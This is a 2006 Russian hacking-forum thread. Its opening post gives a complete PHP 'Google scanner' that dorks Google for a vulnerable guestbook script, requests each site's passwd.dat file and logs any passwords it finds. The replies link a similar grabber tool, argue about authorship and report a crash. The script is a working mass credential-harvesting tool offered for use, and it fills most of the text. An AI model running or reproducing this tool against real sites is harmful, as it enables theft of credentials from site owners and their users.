Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Гугля сканер (https://forum.antichat.xyz/showthread.php?t=25825)

IIAHbI4 23.10.2006 20:25

Гугля сканер
 
пробуйте )

?>
PHP код:

<html>
<META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
<title>Гугля сканер)</title>
<body bgcolor="black">
<pre><font face="Verdana" color="#00CC00">
<?php

if (isset($_GET['host'])) $host $_GET['host'];
else 
$host 'www.google.com'// поисковый сервер
if (isset($_GET['path'])) $path $_GET['path'];
else 
$path 'gb/'// путь к скрипту поиска
if (isset($_GET['script_name'])) $script_name $_GET['script_name'];
else 
$script_name 'index.php'// имя файла бажного скрипта
if (isset($_GET['query'])) $query $_GET['query'];
else 
$query 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'// запрос
$SPLOIT_STRING 'passwd.dat'// самое главное - эксплоит

function grab_links($host$path$html_source// эта функция выдирает все ссылки
{
global 
$log$links;
$log fopen("goodebug.txt""ab+"); // откроем файл для записи логов
                                    // Регулярное выражение для поиска всех ссылок
preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is"$html_source$links);
for (
$i=0$i<count($links[1]); $i++)
{
 
// сделаем из относительных ссылок абсолютные
 
if (strpos($links[1][$i],"http") === false$links[1][$i] = 'http://'.$host.$path.$links[1][$i];
 echo 
$links[1][$i]."\r\n";
 
fputs($log$links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у меня фильтр через жопу написан? =)
}
echo 
"\r\n";
}

$socket fsockopen($host80); // коннектимся...
if (!$socket)
{
echo 
"Unable to connect to target server <b>\"$host\"</b>\r\n";
die(
"Socket Error =("); // коннекта нету =(
}
else
// формируем GET запрос к веб-серверу
$GET_query =
"GET ".$path.$query." HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en\r\n".
"User-Agent: Sad Internet Spider v1.0\r\n".
"Host: $host\r\n".
"Connection: Close\r\n\r\n";
fputs($socket$GET_query);
while (!
feof($socket))
{
 
$html_source .= fgets($socket256); // получаем данные из сокета
}
grab_links($host$path$html_source); // выдираем ссылки

for ($i=0$i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
{
 if ((
strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
 { 
// фильтруем левые ссылки
  
$good_link substr($links[1][$i], 0strpos($links[1][$i], $script_name));
  if (
$good_link)
  { 
// нашли "хорошую" ссылку
   
fputs($log"Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
   
$file = @fopen($good_link.$SPLOIT_STRING"rb"); // пытаемся слить файл
   
if (!$filefputs($log"Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
   
else
   { 
// успешно открыли файл
    
fputs($log"File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
    while (!
feof($file))
    {
     
$result .= fgets($file256); // долгожданный результат =)
    
}
    if (
strpos($result'Password') === false// если пассов нет
    
{
     echo 
"\r\n Тут нет пароля =( ( бля) ".$good_link.$SPLOIT_STRING." \r\n";
     unset(
$result);
    }
    else
    { 
// если все путем
     
echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
     
fputs(fopen("goolog.txt""ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
     unset(
$result);
    }
   } 
// обработали файл
  
// конец обработки "хорошей" ссылки
 
// конец фильтра левых ссылок
// конец обработки всех ссылок

}
?>
</font></pre></body></html>

типо в стиле Ачата (цвета :) )

KPOT_f!nd 23.10.2006 20:29

Сорри за оффтоп но есть еще такой гугл сканер:
[offtop]www.poonk.jino-net.ru/tools/Google_Grabber.rar[/offtop]
Еще раз сорри за оффтоп

Ch3ck 23.10.2006 20:42

Ианыч похоже, не прада ли?
_http://forum.web-hack.ru/index.php?showtopic=22289
Копирайты поставь, или я поставлю...

SMiX 23.10.2006 21:24

IIAHbI4, php-скрипты суем в тег [php]. Отредактировал сообщение.

nc.STRIEM 23.10.2006 21:45

Цитата:

Apache.exe - обнаружена ошибка. Приложение будет закрыто. Приносим извинения за неудобства.
вот что мне дэнвер сказал)))

KSURi 24.10.2006 00:26

инфа по сабжу:
http://hellknights.void.ru/articles/0x48k-b07n37.html
http://hellknights.void.ru/articles/0x48k-b07n37_2.html

nerezus 24.10.2006 07:20

Цитата:

вот что мне дэнвер сказал)))
Обнови.

guest3297 24.10.2006 07:55

До боли знакомый код.

IIAHbI4 24.10.2006 08:57

так я без капирайта нашел Оо,вставте кто знает чьё это.
Просто удобная чтучка.

Ch3ck 24.10.2006 10:16

Автор: Sad


Время: 18:43